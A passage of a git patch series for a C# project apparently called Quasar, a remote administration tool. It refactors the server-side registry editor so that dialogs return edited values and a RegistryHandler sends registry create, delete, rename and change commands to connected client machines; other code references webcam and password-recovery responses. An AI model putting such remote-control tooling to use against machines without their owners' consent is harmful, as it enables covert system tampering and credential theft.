_value.Kind, Data = valueData} - }); - else - DialogResult = DialogResult.None; + this.Close(); } private void ShowWarning(string msg, string caption) diff --git a/Server/Forms/FrmRegValueEditMultiString.cs b/Server/Forms/FrmRegValueEditMultiString.cs index ef529e3c2..632b776b6 100644 --- a/Server/Forms/FrmRegValueEditMultiString.cs +++ b/Server/Forms/FrmRegValueEditMultiString.cs @@ -1,46 +1,30 @@ -using System; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using System; using System.Windows.Forms; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using xServer.Core.Networking; namespace xServer.Forms { public partial class FrmRegValueEditMultiString : Form { - private readonly Client _connectClient; - private readonly RegValueData _value; - private readonly string _keyPath; - - public FrmRegValueEditMultiString(string keyPath, RegValueData value, Client c) + public FrmRegValueEditMultiString(RegValueData value) { - _connectClient = c; - _keyPath = keyPath; _value = value; InitializeComponent(); this.valueNameTxtBox.Text = value.Name; - this.valueDataTxtBox.Text = string.Join("\r\n",((string[])value.Data)); + this.valueDataTxtBox.Text = string.Join("\r\n", ByteConverter.ToStringArray(value.Data)); } private void okButton_Click(object sender, EventArgs e) { - string[] valueData = - valueDataTxtBox.Text.Split(new string[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries); - - _connectClient.Send(new DoChangeRegistryValue - { - KeyPath = _keyPath, - Value = new RegValueData - { - Name = _value.Name, - Kind = _value.Kind, - Data = valueData - } - }); + _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text.Split(new[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries)); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + this.Close(); } } } diff --git a/Server/Forms/FrmRegValueEditString.cs b/Server/Forms/FrmRegValueEditString.cs index 24214f600..728efe02b 100644 --- a/Server/Forms/FrmRegValueEditString.cs +++ b/Server/Forms/FrmRegValueEditString.cs @@ -1,43 +1,31 @@ -using System; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using System; using System.Windows.Forms; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using xServer.Core.Networking; using xServer.Core.Registry; namespace xServer.Forms { public partial class FrmRegValueEditString : Form { - private readonly Client _connectClient; - private readonly RegValueData _value; - private readonly string _keyPath; - - public FrmRegValueEditString(string keyPath, RegValueData value, Client c) + public FrmRegValueEditString(RegValueData value) { - _connectClient = c; - _keyPath = keyPath; _value = value; InitializeComponent(); this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); - this.valueDataTxtBox.Text = value.Data == null ? "" : value.Data.ToString(); + this.valueDataTxtBox.Text = ByteConverter.ToString(value.Data); } private void okButton_Click(object sender, EventArgs e) { - if (_value.Data == null || valueDataTxtBox.Text != _value.Data.ToString()) - { - object valueData = valueDataTxtBox.Text; - _connectClient.Send(new DoChangeRegistryValue - { - KeyPath = _keyPath, - Value = new RegValueData {Name = _value.Name, Kind = _value.Kind, Data = valueData} - }); - } + _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + this.Close(); } } } diff --git a/Server/Forms/FrmRegValueEditWord.cs b/Server/Forms/FrmRegValueEditWord.cs index 8e4b1f04d..fb81117b6 100644 --- a/Server/Forms/FrmRegValueEditWord.cs +++ b/Server/Forms/FrmRegValueEditWord.cs @@ -1,32 +1,21 @@ using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; using System; using System.Windows.Forms; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using xServer.Core.Networking; using xServer.Enums; namespace xServer.Forms { public partial class FrmRegValueEditWord : Form { - private readonly Client _connectClient; - private readonly RegValueData _value; - private readonly string _keyPath; - - #region CONSTANT - private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?"; private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?"; - #endregion - - public FrmRegValueEditWord(string keyPath, RegValueData value, Client c) + public FrmRegValueEditWord(RegValueData value) { - _connectClient = c; - _keyPath = keyPath; _value = value; InitializeComponent(); @@ -37,13 +26,13 @@ public FrmRegValueEditWord(string keyPath, RegValueData value, Client c) { this.Text = "Edit DWORD (32-bit) Value"; this.valueDataTxtBox.Type = WordType.DWORD; - this.valueDataTxtBox.Text = ((uint)(int)value.Data).ToString("x"); + this.valueDataTxtBox.Text = ByteConverter.ToUInt32(value.Data).ToString("x"); } else { this.Text = "Edit QWORD (64-bit) Value"; this.valueDataTxtBox.Type = WordType.QWORD; - this.valueDataTxtBox.Text = ((ulong)(long)value.Data).ToString("x"); + this.valueDataTxtBox.Text = ByteConverter.ToUInt64(value.Data).ToString("x"); } } @@ -60,25 +49,20 @@ private void radioHex_CheckboxChanged(object sender, EventArgs e) private void okButton_Click(object sender, EventArgs e) { - if(valueDataTxtBox.IsConversionValid() || IsOverridePossible()) + if (valueDataTxtBox.IsConversionValid() || IsOverridePossible()) { - object valueData = null; - if(_value.Kind == RegistryValueKind.DWord) - valueData = (int)valueDataTxtBox.UIntValue; - else - valueData = (long)valueDataTxtBox.ULongValue; - - _connectClient.Send(new DoChangeRegistryValue - { - KeyPath = _keyPath, - Value = new RegValueData {Name = _value.Name, Kind = _value.Kind, Data = valueData} - }); + _value.Data = _value.Kind == RegistryValueKind.DWord + ? ByteConverter.GetBytes(valueDataTxtBox.UIntValue) + : ByteConverter.GetBytes(valueDataTxtBox.ULongValue); + this.Tag = _value; + this.DialogResult = DialogResult.OK; } else { - //Prevent exit - DialogResult = DialogResult.None; + this.DialogResult = DialogResult.None; } + + this.Close(); } private DialogResult ShowWarning(string msg, string caption) diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 04f933a8b..4bd9d7d12 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -1,11 +1,12 @@ using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Utilities; using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Windows.Forms; -using Quasar.Common.Messages; -using Quasar.Common.Models; using xServer.Controls; using xServer.Core.Extensions; using xServer.Core.Helper; @@ -269,7 +270,6 @@ public void DeleteValue(string keyPath, string valueName) else //Handle delete of default value { var regValue = ((RegValueData[])key.Tag).First(item => item.Name == valueName); - regValue.Data = null; if(tvRegistryDirectory.SelectedNode == key) { @@ -319,14 +319,14 @@ public void ChangeValue(string keyPath, RegValueData value) lstRegistryValues.Invoke((MethodInvoker)delegate { var regValue = ((RegValueData[])key.Tag).First(item => item.Name == value.Name); - regValue.Data = value.Data; + ChangeRegistryValue(value, regValue); if (tvRegistryDirectory.SelectedNode == key) { var valueItem = lstRegistryValues.Items.Cast() .SingleOrDefault(item => item.Name == value.Name); if (valueItem != null) - valueItem.Data = value.Kind.RegistryTypeToString(value.Data); + valueItem.Data = RegistryValueToString(value); } tvRegistryDirectory.SelectedNode = key; @@ -334,6 +334,32 @@ public void ChangeValue(string keyPath, RegValueData value) } } + private void ChangeRegistryValue(RegValueData source, RegValueData dest) + { + if (source.Kind != dest.Kind) return; + dest.Data = source.Data; + } + + private string RegistryValueToString(RegValueData value) + { + switch (value.Kind) + { + case RegistryValueKind.Binary: + return value.Data.Length > 0 ? BitConverter.ToString(value.Data).Replace("-", " ").ToLower() : "(zero-length binary value)"; + case RegistryValueKind.MultiString: + return string.Join(" ", ByteConverter.ToStringArray(value.Data)); + case RegistryValueKind.DWord: // show hexadecimal and decimal + return $"0x{value.Data:x8} ({ByteConverter.ToUInt32(value.Data).ToString()})"; + case RegistryValueKind.QWord: // show hexadecimal and decimal + return $"0x{value.Data:x8} ({ByteConverter.ToUInt64(value.Data).ToString()})"; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ByteConverter.ToString(value.Data); + default: + return string.Empty; + } + } + private void UpdateLstRegistryValues(TreeNode node) { selectedStripStatusLabel.Text = node.FullPath; @@ -796,20 +822,20 @@ private bool GetRenameState() return false; } - private Form GetEditForm(string keyPath, RegValueData value, RegistryValueKind valueKind) + private Form GetEditForm(RegValueData value, RegistryValueKind valueKind) { switch (valueKind) { case RegistryValueKind.String: case RegistryValueKind.ExpandString: - return new FrmRegValueEditString(keyPath, value, _connectClient); + return new FrmRegValueEditString(value); case RegistryValueKind.DWord: case RegistryValueKind.QWord: - return new FrmRegValueEditWord(keyPath, value, _connectClient); + return new FrmRegValueEditWord(value); case RegistryValueKind.MultiString: - return new FrmRegValueEditMultiString(keyPath, value, _connectClient); + return new FrmRegValueEditMultiString(value); case RegistryValueKind.Binary: - return new FrmRegValueEditBinary(keyPath, value, _connectClient); + return new FrmRegValueEditBinary(value); default: return null; } @@ -821,16 +847,22 @@ private void CreateModifyForm(bool isBinary) string name = lstRegistryValues.SelectedItems[0].Name; RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name); + // any kind can be edited as binary RegistryValueKind kind = isBinary ? RegistryValueKind.Binary : value.Kind; - using (var frm = GetEditForm(keyPath, value, kind)) + using (var frm = GetEditForm(value, kind)) { - if (frm != null) - frm.ShowDialog(); + if (frm.ShowDialog() == DialogResult.OK) + { + _connectClient.Send(new DoChangeRegistryValue + { + KeyPath = keyPath, + Value = (RegValueData) frm.Tag + }); + } } } #endregion - } } diff --git a/Server/Server.csproj b/Server/Server.csproj index 4cb9ee503..b95ccdf04 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -115,6 +115,7 @@ + @@ -131,7 +132,6 @@ - From dba8e3b469ac4377611719af0a2caa4e42d322c7 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 22 Sep 2018 13:44:42 +0200 Subject: [PATCH 129/229] Refactor Registry Editor --- Server/Core/Commands/RegistryHandler.cs | 346 ++++++++++++++- Server/Core/Commands/RegistryHandlerOld.cs | 189 --------- Server/Core/Networking/PacketHandler.cs | 32 -- Server/Core/Networking/UserState.cs | 3 - Server/Forms/FrmFileManager.cs | 2 +- Server/Forms/FrmMain.cs | 11 +- Server/Forms/FrmRegistryEditor.cs | 463 ++++++++++----------- Server/Server.csproj | 1 - 8 files changed, 572 insertions(+), 475 deletions(-) delete mode 100644 Server/Core/Commands/RegistryHandlerOld.cs diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs index 05607a850..fba1392f1 100644 --- a/Server/Core/Commands/RegistryHandler.cs +++ b/Server/Core/Commands/RegistryHandler.cs @@ -1,4 +1,6 @@ -using Quasar.Common.Messages; +using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Models; using Quasar.Common.Networking; using xServer.Core.Networking; @@ -6,8 +8,147 @@ namespace xServer.Core.Commands { public class RegistryHandler : MessageProcessorBase { + /// + /// The client which is associated with this registry handler. + /// private readonly Client _client; + public delegate void KeysReceivedEventHandler(object sender, string rootKey, RegSeekerMatch[] matches); + public delegate void KeyCreatedEventHandler(object sender, string parentPath, RegSeekerMatch match); + public delegate void KeyDeletedEventHandler(object sender, string parentPath, string subKey); + public delegate void KeyRenamedEventHandler(object sender, string parentPath, string oldSubKey, string newSubKey); + public delegate void ValueCreatedEventHandler(object sender, string keyPath, RegValueData value); + public delegate void ValueDeletedEventHandler(object sender, string keyPath, string valueName); + public delegate void ValueRenamedEventHandler(object sender, string keyPath, string oldValueName, string newValueName); + public delegate void ValueChangedEventHandler(object sender, string keyPath, RegValueData value); + + public event KeysReceivedEventHandler KeysReceived; + public event KeyCreatedEventHandler KeyCreated; + public event KeyDeletedEventHandler KeyDeleted; + public event KeyRenamedEventHandler KeyRenamed; + public event ValueCreatedEventHandler ValueCreated; + public event ValueDeletedEventHandler ValueDeleted; + public event ValueRenamedEventHandler ValueRenamed; + public event ValueChangedEventHandler ValueChanged; + + /// + /// Reports initially received registry keys. + /// + /// The root registry key name. + /// The child registry keys. + private void OnKeysReceived(string rootKey, RegSeekerMatch[] matches) + { + SynchronizationContext.Post(t => + { + var handler = KeysReceived; + handler?.Invoke(this, rootKey, (RegSeekerMatch[]) t); + }, matches); + } + + /// + /// Reports created registry keys. + /// + /// The registry key parent path. + /// The created registry key. + private void OnKeyCreated(string parentPath, RegSeekerMatch match) + { + SynchronizationContext.Post(t => + { + var handler = KeyCreated; + handler?.Invoke(this, parentPath, (RegSeekerMatch) t); + }, match); + } + + /// + /// Reports deleted registry keys. + /// + /// The registry key parent path. + /// The registry sub key name. + private void OnKeyDeleted(string parentPath, string subKey) + { + SynchronizationContext.Post(t => + { + var handler = KeyDeleted; + handler?.Invoke(this, parentPath, (string) t); + }, subKey); + } + + /// + /// Reports renamed registry keys. + /// + /// The registry key parent path. + /// The old registry sub key name. + /// The new registry sub key name. + private void OnKeyRenamed(string parentPath, string oldSubKey, string newSubKey) + { + SynchronizationContext.Post(t => + { + var handler = KeyRenamed; + handler?.Invoke(this, parentPath, oldSubKey, (string) t); + }, newSubKey); + } + + /// + /// Reports created registry values. + /// + /// The registry key path. + /// The created value. + private void OnValueCreated(string keyPath, RegValueData value) + { + SynchronizationContext.Post(t => + { + var handler = ValueCreated; + handler?.Invoke(this, keyPath, (RegValueData)t); + }, value); + } + + /// + /// Reports deleted registry values. + /// + /// The registry key path. + /// The value name. + private void OnValueDeleted(string keyPath, string valueName) + { + SynchronizationContext.Post(t => + { + var handler = ValueDeleted; + handler?.Invoke(this, keyPath, (string) t); + }, valueName); + } + + /// + /// Reports renamed registry values. + /// + /// The registry key path. + /// The old value name. + /// The new value name. + private void OnValueRenamed(string keyPath, string oldValueName, string newValueName) + { + SynchronizationContext.Post(t => + { + var handler = ValueRenamed; + handler?.Invoke(this, keyPath, oldValueName, (string) t); + }, newValueName); + } + + /// + /// Reports changed registry values. + /// + /// The registry key path. + /// The new value. + private void OnValueChanged(string keyPath, RegValueData value) + { + SynchronizationContext.Post(t => + { + var handler = ValueChanged; + handler?.Invoke(this, keyPath, (RegValueData) t); + }, value); + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. public RegistryHandler(Client client) : base(true) { _client = client; @@ -58,17 +199,216 @@ public override void Execute(ISender sender, IMessage message) } } + /// + /// Loads the registry keys of a given root key. + /// + /// The root key name. + public void LoadRegistryKey(string rootKeyName) + { + _client.Send(new DoLoadRegistryKey + { + RootKeyName = rootKeyName + }); + } + + /// + /// Creates a registry key at the given parent path. + /// + /// The parent path. + public void CreateRegistryKey(string parentPath) + { + _client.Send(new DoCreateRegistryKey + { + ParentPath = parentPath + }); + } + + /// + /// Deletes the given registry key. + /// + /// The parent path of the registry key to delete. + /// The registry key name to delete. + public void DeleteRegistryKey(string parentPath, string keyName) + { + _client.Send(new DoDeleteRegistryKey + { + ParentPath = parentPath, + KeyName = keyName + }); + } + + /// + /// Renames the given registry key. + /// + /// The parent path of the registry key to rename. + /// The old name of the registry key. + /// The new name of the registry key. + public void RenameRegistryKey(string parentPath, string oldKeyName, string newKeyName) + { + _client.Send(new DoRenameRegistryKey + { + ParentPath = parentPath, + OldKeyName = oldKeyName, + NewKeyName = newKeyName + }); + } + + /// + /// Creates a registry key value. + /// + /// The registry key path. + /// The kind of registry key value. + public void CreateRegistryValue(string keyPath, RegistryValueKind kind) + { + _client.Send(new DoCreateRegistryValue + { + KeyPath = keyPath, + Kind = kind + }); + } + + /// + /// Deletes the registry key value. + /// + /// The registry key path. + /// The registry key value name to delete. + public void DeleteRegistryValue(string keyPath, string valueName) + { + _client.Send(new DoDeleteRegistryValue + { + KeyPath = keyPath, + ValueName = valueName + }); + } + + /// + /// Renames the registry key value. + /// + /// The registry key path. + /// The old registry key value name. + /// The new registry key value name. + public void RenameRegistryValue(string keyPath, string oldValueName, string newValueName) + { + _client.Send(new DoRenameRegistryValue + { + KeyPath = keyPath, + OldValueName = oldValueName, + NewValueName = newValueName + }); + } + + /// + /// Changes the registry key value. + /// + /// The registry key path. + /// The updated registry key value. + public void ChangeRegistryValue(string keyPath, RegValueData value) + { + _client.Send(new DoChangeRegistryValue + { + KeyPath = keyPath, + Value = value + }); + } + private void Execute(ISender client, GetRegistryKeysResponse message) { + if (!message.IsError) + { + OnKeysReceived(message.RootKey, message.Matches); + } + else + { + OnReport(message.ErrorMsg); + } + } + private void Execute(ISender client, GetCreateRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyCreated(message.ParentPath, message.Match); + } + else + { + OnReport(message.ErrorMsg); + } } - protected override void Dispose(bool disposing) + private void Execute(ISender client, GetDeleteRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyDeleted(message.ParentPath, message.KeyName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetRenameRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyRenamed(message.ParentPath, message.OldKeyName, message.NewKeyName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetCreateRegistryValueResponse message) { - if (disposing) + if (!message.IsError) + { + OnValueCreated(message.KeyPath, message.Value); + } + else { + OnReport(message.ErrorMsg); + } + } + private void Execute(ISender client, GetDeleteRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueDeleted(message.KeyPath, message.ValueName); + } + else + { + OnReport(message.ErrorMsg); } } + + private void Execute(ISender client, GetRenameRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueRenamed(message.KeyPath, message.OldValueName, message.NewValueName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetChangeRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueChanged(message.KeyPath, message.Value); + } + else + { + OnReport(message.ErrorMsg); + } + } + + protected override void Dispose(bool disposing) + { + } } } diff --git a/Server/Core/Commands/RegistryHandlerOld.cs b/Server/Core/Commands/RegistryHandlerOld.cs deleted file mode 100644 index f68629364..000000000 --- a/Server/Core/Commands/RegistryHandlerOld.cs +++ /dev/null @@ -1,189 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using Quasar.Common.Messages; -using xServer.Core.Networking; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ - public static partial class CommandHandler - { - - - #region Registry Key - - public static void HandleLoadRegistryKey(GetRegistryKeysResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.AddKeys(packet.RootKey, packet.Matches); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - //If root keys failed to load then close the form - if (packet.RootKey == null) - { - //Invoke a closing of the form - client.Value.FrmRe.PerformClose(); - } - } - } - } - catch { } - } - - public static void HandleCreateRegistryKey(GetCreateRegistryKeyResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.CreateNewKey(packet.ParentPath, packet.Match); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - public static void HandleDeleteRegistryKey(GetDeleteRegistryKeyResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.RemoveKey(packet.ParentPath, packet.KeyName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - public static void HandleRenameRegistryKey(GetRenameRegistryKeyResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.RenameKey(packet.ParentPath, packet.OldKeyName, packet.NewKeyName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - #endregion - - #region Registry Value - - public static void HandleCreateRegistryValue(GetCreateRegistryValueResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.CreateValue(packet.KeyPath, packet.Value); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - public static void HandleDeleteRegistryValue(GetDeleteRegistryValueResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.DeleteValue(packet.KeyPath, packet.ValueName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - public static void HandleRenameRegistryValue(GetRenameRegistryValueResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.RenameValue(packet.KeyPath, packet.OldValueName, packet.NewValueName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - public static void HandleChangeRegistryValue(GetChangeRegistryValueResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.ChangeValue(packet.KeyPath, packet.Value); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - #endregion - } -} diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index f6ca1b128..e249607e7 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -28,38 +28,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleGetWebcamResponse(client, (GetWebcamResponse)packet); } - else if (type == typeof(GetRegistryKeysResponse)) - { - CommandHandler.HandleLoadRegistryKey((GetRegistryKeysResponse)packet, client); - } - else if (type == typeof(GetCreateRegistryKeyResponse)) - { - CommandHandler.HandleCreateRegistryKey((GetCreateRegistryKeyResponse)packet, client); - } - else if (type == typeof(GetDeleteRegistryKeyResponse)) - { - CommandHandler.HandleDeleteRegistryKey((GetDeleteRegistryKeyResponse)packet, client); - } - else if (type == typeof(GetRenameRegistryKeyResponse)) - { - CommandHandler.HandleRenameRegistryKey((GetRenameRegistryKeyResponse)packet, client); - } - else if (type == typeof(GetCreateRegistryValueResponse)) - { - CommandHandler.HandleCreateRegistryValue((GetCreateRegistryValueResponse)packet, client); - } - else if (type == typeof(GetDeleteRegistryValueResponse)) - { - CommandHandler.HandleDeleteRegistryValue((GetDeleteRegistryValueResponse)packet, client); - } - else if (type == typeof(GetRenameRegistryValueResponse)) - { - CommandHandler.HandleRenameRegistryValue((GetRenameRegistryValueResponse)packet, client); - } - else if (type == typeof(GetChangeRegistryValueResponse)) - { - CommandHandler.HandleChangeRegistryValue((GetChangeRegistryValueResponse)packet, client); - } else if (type == typeof(GetPasswordsResponse)) { CommandHandler.HandleGetPasswordsResponse(client, (GetPasswordsResponse)packet); diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 8a1b9d089..99b543404 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -23,7 +23,6 @@ public class UserState : IDisposable public string DownloadDirectory { get; set; } public FrmRemoteWebcam FrmWebcam { get; set; } - public FrmRegistryEditor FrmRe { get; set; } public FrmPasswordRecovery FrmPass { get; set; } public void Dispose() @@ -39,8 +38,6 @@ protected virtual void Dispose(bool disposing) { if (FrmWebcam != null) FrmWebcam.Invoke((MethodInvoker)delegate { FrmWebcam.Close(); }); - if (FrmRe != null) - FrmRe.Invoke((MethodInvoker)delegate { FrmRe.Close(); }); if (FrmPass != null) FrmPass.Invoke((MethodInvoker)delegate { FrmPass.Close(); }); } diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index 2d78660af..fa810ef0a 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -65,7 +65,7 @@ public static FrmFileManager CreateNewOrGetExisting(Client client) /// /// Initializes a new instance of the class using the given client. /// - /// The client used for the remote desktop form. + /// The client used for the file manager form. public FrmFileManager(Client client) { _connectClient = client; diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 41f2087d9..855296a63 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -609,14 +609,9 @@ private void registryEditorToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmRe != null) - { - c.Value.FrmRe.Focus(); - return; - } - - FrmRegistryEditor frmRE = new FrmRegistryEditor(c); - frmRE.Show(); + FrmRegistryEditor frmRe = FrmRegistryEditor.CreateNewOrGetExisting(c); + frmRe.Show(); + frmRe.Focus(); } } } diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 4bd9d7d12..556bddaaa 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -8,6 +8,7 @@ using System.Linq; using System.Windows.Forms; using xServer.Controls; +using xServer.Core.Commands; using xServer.Core.Extensions; using xServer.Core.Helper; using xServer.Core.Networking; @@ -17,24 +18,102 @@ namespace xServer.Forms { public partial class FrmRegistryEditor : Form { + /// + /// The client which can be used for the registry editor. + /// private readonly Client _connectClient; - private readonly object locker = new object(); - - #region Constants + /// + /// The message handler for handling the communication with the client. + /// + private readonly RegistryHandler _registryHandler; - private const string PRIVILEGE_WARNING = "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete may not work properly!"; + /// + /// Holds the opened registry editor form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); - #endregion + /// + /// Creates a new registry editor form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the registry editor form. + /// + /// Returns a new registry editor form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRegistryEditor CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRegistryEditor f = new FrmRegistryEditor(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } - public FrmRegistryEditor(Client c) + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the registry editor form. + public FrmRegistryEditor(Client client) { - _connectClient = c; - _connectClient.Value.FrmRe = this; + _connectClient = client; + _registryHandler = new RegistryHandler(client); + RegisterMessageHandler(); InitializeComponent(); } + /// + /// Registers the file manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _registryHandler.ProgressChanged += ShowErrorMessage; + _registryHandler.KeysReceived += AddKeys; + _registryHandler.KeyCreated += CreateNewKey; + _registryHandler.KeyDeleted += DeleteKey; + _registryHandler.KeyRenamed += RenameKey; + _registryHandler.ValueCreated += CreateValue; + _registryHandler.ValueDeleted += DeleteValue; + _registryHandler.ValueRenamed += RenameValue; + _registryHandler.ValueChanged += ChangeValue; + MessageHandler.Register(_registryHandler); + } + + /// + /// Unregisters the file manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_registryHandler); + _registryHandler.ProgressChanged -= ShowErrorMessage; + _registryHandler.KeysReceived -= AddKeys; + _registryHandler.KeyCreated -= CreateNewKey; + _registryHandler.KeyDeleted -= DeleteKey; + _registryHandler.KeyRenamed -= RenameKey; + _registryHandler.ValueCreated -= CreateValue; + _registryHandler.ValueDeleted -= DeleteValue; + _registryHandler.ValueRenamed -= RenameValue; + _registryHandler.ValueChanged -= ChangeValue; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + protected override CreateParams CreateParams { get @@ -45,49 +124,33 @@ protected override CreateParams CreateParams } } - #region Main Form - private void FrmRegistryEditor_Load(object sender, EventArgs e) { if (_connectClient.Value.AccountType != "Admin") - MessageBox.Show(PRIVILEGE_WARNING, "Alert!", MessageBoxButtons.OK, MessageBoxIcon.Warning); - - if (_connectClient != null) - this.Text = WindowHelper.GetWindowTitle("Registry Editor", _connectClient); + { + MessageBox.Show( + "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete may not work properly!", + "Alert!", MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + + this.Text = WindowHelper.GetWindowTitle("Registry Editor", _connectClient); - // Signal client to retrive the root nodes (indicated by null) - _connectClient.Send(new DoLoadRegistryKey {RootKeyName = null}); + // signal client to retrive the root nodes (indicated by null) + _registryHandler.LoadRegistryKey(null); } private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e) { - if (_connectClient.Value != null) - _connectClient.Value.FrmRe = null; + UnregisterMessageHandler(); + _registryHandler.Dispose(); } - - #endregion - #region Helperfunctions - - public void ShowErrorMessage(string errorMsg) + private void 